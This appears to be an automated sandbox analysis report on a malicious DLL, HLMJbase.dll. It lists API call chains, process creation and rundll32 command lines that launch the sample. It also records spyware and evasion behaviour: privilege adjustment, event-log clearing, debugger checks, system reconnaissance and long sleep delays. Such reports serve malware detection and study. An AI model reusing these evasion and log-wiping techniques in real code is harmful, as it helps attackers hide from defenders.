Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBCE875	3_2_6CBCE875
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBCCAD0	3_2_6CBCCAD0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC18A77	3_2_6CC18A77
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBF0B40	3_2_6CBF0B40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBC8430	3_2_6CBC8430
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBF653C	3_2_6CBF653C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC5A508	3_2_6CC5A508
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBF255C	3_2_6CBF255C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBC66D9	3_2_6CBC66D9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBDA64D	3_2_6CBDA64D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC48780	3_2_6CC48780
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC24719	3_2_6CC24719
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBDC1AC	3_2_6CBDC1AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC441F0	3_2_6CC441F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC06291	3_2_6CC06291
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBEE3C7	3_2_6CBEE3C7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC52350	3_2_6CC52350
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC63CF4	3_2_6CC63CF4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBCBDB1	3_2_6CBCBDB1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBD9D26	3_2_6CBD9D26
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC4BD70	3_2_6CC4BD70
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC3BD1C	3_2_6CC3BD1C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBEDD45	3_2_6CBEDD45
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBE5E16	3_2_6CBE5E16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC4DFFE	3_2_6CC4DFFE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC49F40	3_2_6CC49F40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC23F75	3_2_6CC23F75
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC618D7	3_2_6CC618D7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC43880	3_2_6CC43880
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC1BA52	3_2_6CC1BA52
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC59BE5	3_2_6CC59BE5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC35B14	3_2_6CC35B14
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBE54EF	3_2_6CBE54EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC4347E	3_2_6CC4347E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC0B537	3_2_6CC0B537
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBCF61C	3_2_6CBCF61C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC05674	3_2_6CC05674
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBDD0F7	3_2_6CBDD0F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC41060	3_2_6CC41060
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC2D246	3_2_6CC2D246
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC6524A	3_2_6CC6524A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC49370	3_2_6CC49370
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04677D40	3_2_04677D40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0467DD00	3_2_0467DD00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0466659F	3_2_0466659F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04661E5F	3_2_04661E5F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0467D7AF	3_2_0467D7AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0466681F	3_2_0466681F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0467D25E	3_2_0467D25E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0466822F	3_2_0466822F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0467F3BE	3_2_0467F3BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_03111750	4_2_03111750
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_03111E2C	4_2_03111E2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0310B6A6	4_2_0310B6A6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_03112D61	4_2_03112D61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_031111FF	4_2_031111FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_031024B0	4_2_031024B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_03110CAE	4_2_03110CAE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055A6E60	4_2_055A6E60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055A6BE0	4_2_055A6BE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055BDDF0	4_2_055BDDF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055A24A0	4_2_055A24A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055BF9FF	4_2_055BF9FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055A8870	4_2_055A8870
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055BD89F	4_2_055BD89F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055BE341	4_2_055BE341
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055B8381	4_2_055B8381
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055BEA1D	4_2_055BEA1D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04E5659F	4_2_04E5659F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04E67D40	4_2_04E67D40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04E6DD00	4_2_04E6DD00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04E51E5F	4_2_04E51E5F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04E6D7AF	4_2_04E6D7AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04E5681F	4_2_04E5681F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04E6D25E	4_2_04E6D25E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04E5822F	4_2_04E5822F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04E6F3BE	4_2_04E6F3BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_030B1750	5_2_030B1750
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_030B1E2C	5_2_030B1E2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_030AB6A6	5_2_030AB6A6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_030B2D61	5_2_030B2D61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_030B11FF	5_2_030B11FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_030B0CAE	5_2_030B0CAE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_030A24B0	5_2_030A24B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_05356E60	5_2_05356E60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_05356BE0	5_2_05356BE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0536DDF0	5_2_0536DDF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_053524A0	5_2_053524A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0536F9FF	5_2_0536F9FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_05358870	5_2_05358870
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0536D89F	5_2_0536D89F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0536E341	5_2_0536E341
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_05368381	5_2_05368381
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0536EA1D	5_2_0536EA1D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B9659F	5_2_04B9659F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04BADD00	5_2_04BADD00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04BA7D40	5_2_04BA7D40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B91E5F	5_2_04B91E5F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04BAD7AF	5_2_04BAD7AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B9681F	5_2_04B9681F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B9822F	5_2_04B9822F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04BAD25E	5_2_04BAD25E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04BAF3BE	5_2_04BAF3BE

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6CBC8880 appears 46 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 053642E0 appears 32 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6CC622D0 appears 145 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 055B42E0 appears 32 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6CC625D0 appears 47 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 04DC42E0 appears 32 times

Source: HLMJbase.dll

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE, DLL

Source: HLMJbase.dll	Binary string: HandleAfdPollInfo\Device\Afd\Mio
Source: HLMJbase.dll	Binary string: Failed to open \Device\Afd\Mio:

Source: classification engine

Classification label: mal72.spyw.evad.winDLL@10/0@1/2

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6CC49F40 memset,GetModuleHandleW,FormatMessageW,memmove,GetLastError,

3_2_6CC49F40

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DB75A0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,OpenProcess,	3_2_04DB75A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DB76C0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,	3_2_04DB76C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DB7AF0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,	3_2_04DB7AF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055A75A0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,OpenProcess,	4_2_055A75A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055A76C0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,	4_2_055A76C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055A7AF0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,	4_2_055A7AF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_053575A0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,OpenProcess,	5_2_053575A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_053576C0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,	5_2_053576C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_05357AF0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,	5_2_05357AF0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_04DB6BE0 wsprintfW,GetDriveTypeW,GetDiskFreeSpaceExW,_memset,GlobalMemoryStatusEx,swprintf,swprintf,

3_2_04DB6BE0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_04DB5FE0 _memset,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,Process32NextW,CloseHandle,CloseHandle,

3_2_04DB5FE0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_04DB6620 wsprintfW,CoInitialize,CoCreateInstance,SysFreeString,SysFreeString,CoUninitialize,

3_2_04DB6620

Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\2024.12.19
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7004:120:WilError_03

Source: HLMJbase.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\HLMJbase.dll,NvOptimusEnablement

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\HLMJbase.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\HLMJbase.dll,NvOptimusEnablement
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",NvOptimusEnablement
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\HLMJbase.dll,NvOptimusEnablement	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",NvOptimusEnablement	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",#1	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior

Source: HLMJbase.dll

Static file information: File size 1071104 > 1048576

Source: HLMJbase.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: HLMJbase.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_0420C52C LoadLibraryW,GetProcAddress,GetProcAddress,EncodePointer,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

3_2_0420C52C

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04209EF5 push ecx; ret	3_2_04209F08
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04217AFF push eax; retn 0000h	3_2_04217B05
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DD2450 push ebp; retf	3_2_04DD2474
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DD2470 push ebp; retf	3_2_04DD2474
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DDA0B8 push eax; ret	3_2_04DDA119
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DDA168 push eax; ret	3_2_04DDA119
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DC4325 push ecx; ret	3_2_04DC4338
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04673CE4 push ecx; ret	3_2_04673CF7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_03109EF5 push ecx; ret	4_2_03109F08
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_03117AFF push eax; retn 0000h	4_2_03117B05
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055C2450 push ebp; retf	4_2_055C2474
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055C2443 push ebp; retf	4_2_055C2474
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055C2470 push ebp; retf	4_2_055C2474
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055CA168 push eax; ret	4_2_055CA119
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055CA0B8 push eax; ret	4_2_055CA119
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_055B4325 push ecx; ret	4_2_055B4338
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04E63CE4 push ecx; ret	4_2_04E63CF7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_030B7AFF push eax; retn 0000h	5_2_030B7B05
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_030A9EF5 push ecx; ret	5_2_030A9F08
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_05372470 push ebp; retf	5_2_05372474
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_05372450 push ebp; retf	5_2_05372474
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_05372443 push ebp; retf	5_2_05372474
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_05364325 push ecx; ret	5_2_05364338
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04BA3CE4 push ecx; ret	5_2_04BA3CF7

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_04DBB351 OpenEventLogW,OpenEventLogW,ClearEventLogW,CloseEventLog,

3_2_04DBB351

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 9025	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 8975	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 9047	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

Source: C:\Windows\SysWOW64\rundll32.exe TID: 4444	Thread sleep count: 299 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6344	Thread sleep count: 9025 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6344	Thread sleep time: -90250s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 4948	Thread sleep count: 293 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6640	Thread sleep count: 8975 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6640	Thread sleep time: -89750s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6740	Thread sleep count: 230 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7024	Thread sleep count: 9047 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7024	Thread sleep time: -90470s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe	Thread sleep count: Count: 9025 delay: -10	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread sleep count: Count: 8975 delay: -10	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread sleep count: Count: 9047 delay: -10	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_04DB8060 wsprintfW,GetLogicalDriveStringsW,lstrcmpiW,lstrcmpiW,QueryDosDeviceW,lstrlenW,__wcsnicmp,lstrcpyW,lstrcpyW,lstrcatW,

3_2_04DB8060

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_04DB53C0 _memset,_memset,_memset,gethostname,gethostbyname,inet_ntoa,_strcat_s,_strcat_s,inet_ntoa,_strcat_s,_strcat_s,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,GetLastInputInfo,GetTickCount,wsprintfW,wsprintfW,MultiByteToWideChar,MultiByteToWideChar,GetSystemInfo,wsprintfW,GetForegroundWindow,GetWindowTextW,lstrlenW,lstrlenW,GetModuleHandleW,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,wsprintfW,GetCurrentProcessId,OpenProcess,K32GetProcessImageFileNameW,CloseHandle,GetTickCount,__time64,__localtime64,wsprintfW,GetLocaleInfoW,GetSystemDirectoryW,GetCurrentHwProfileW,

3_2_04DB53C0

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: rundll32.exe, 00000003.00000003.1730093952.000000000289D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.3543030625.000000000287A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1698689251.000000000289E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1730125358.000000000289E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1698599756.000000000289D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1729791896.000000000289D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3542816522.0000000002E9C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1794106955.0000000002E9D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1730735202.0000000002E9B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1730835411.0000000002E9D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1699780132.0000000002E9D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_3-108385
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_04206510 IsDebuggerPresent,

3_2_04206510

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_04DC04AB VirtualProtect ?,-00000001,00000104,?

3_2_04DC04AB

Source: C:\Windows\SysWOW64\rundll32.exe

3_2_0420C52C

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_046600CD mov eax, dword ptr fs:[00000030h]	3_2_046600CD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04E500CD mov eax, dword ptr fs:[00000030h]	4_2_04E500CD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B900CD mov eax, dword ptr fs:[00000030h]	5_2_04B900CD

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_042142C7 GetProcessHeap,

3_2_042142C7

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04206530 SetUnhandledExceptionFilter,GetConsoleWindow,ShowWindow,GetCurrentThreadId,PostThreadMessageA,GetInputState,CreateThread,WaitForSingleObject,CloseHandle,Sleep,	3_2_04206530
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_042069D5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_042069D5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04208678 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_04208678
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0420AFAE SetUnhandledExceptionFilter,	3_2_0420AFAE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DBDE70 Sleep,CloseHandle,GetLocalTime,wsprintfW,SetUnhandledExceptionFilter,CloseHandle,EnumWindows,EnumWindows,Sleep,EnumWindows,Sleep,CreateEventA,Sleep,RegOpenKeyExW,RegQueryValueExW,CloseHandle,Sleep,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,	3_2_04DBDE70
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DC1EC7 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_04DC1EC7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04DBEF64 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_04DBEF64
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC61C22 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6CC61C22
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC616E3 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6CC616E3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_03106530 SetUnhandledExceptionFilter,GetConsoleWindow,ShowWindow,GetCurrentThreadId,PostThreadMessageA,GetInputState,CreateThread,WaitForSingleObject,CloseHandle,Sleep,	4_2_03106530
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0310AFAE SetUnhandledExceptionFilter,	4_2_0310AFAE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_03108678 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_03108678
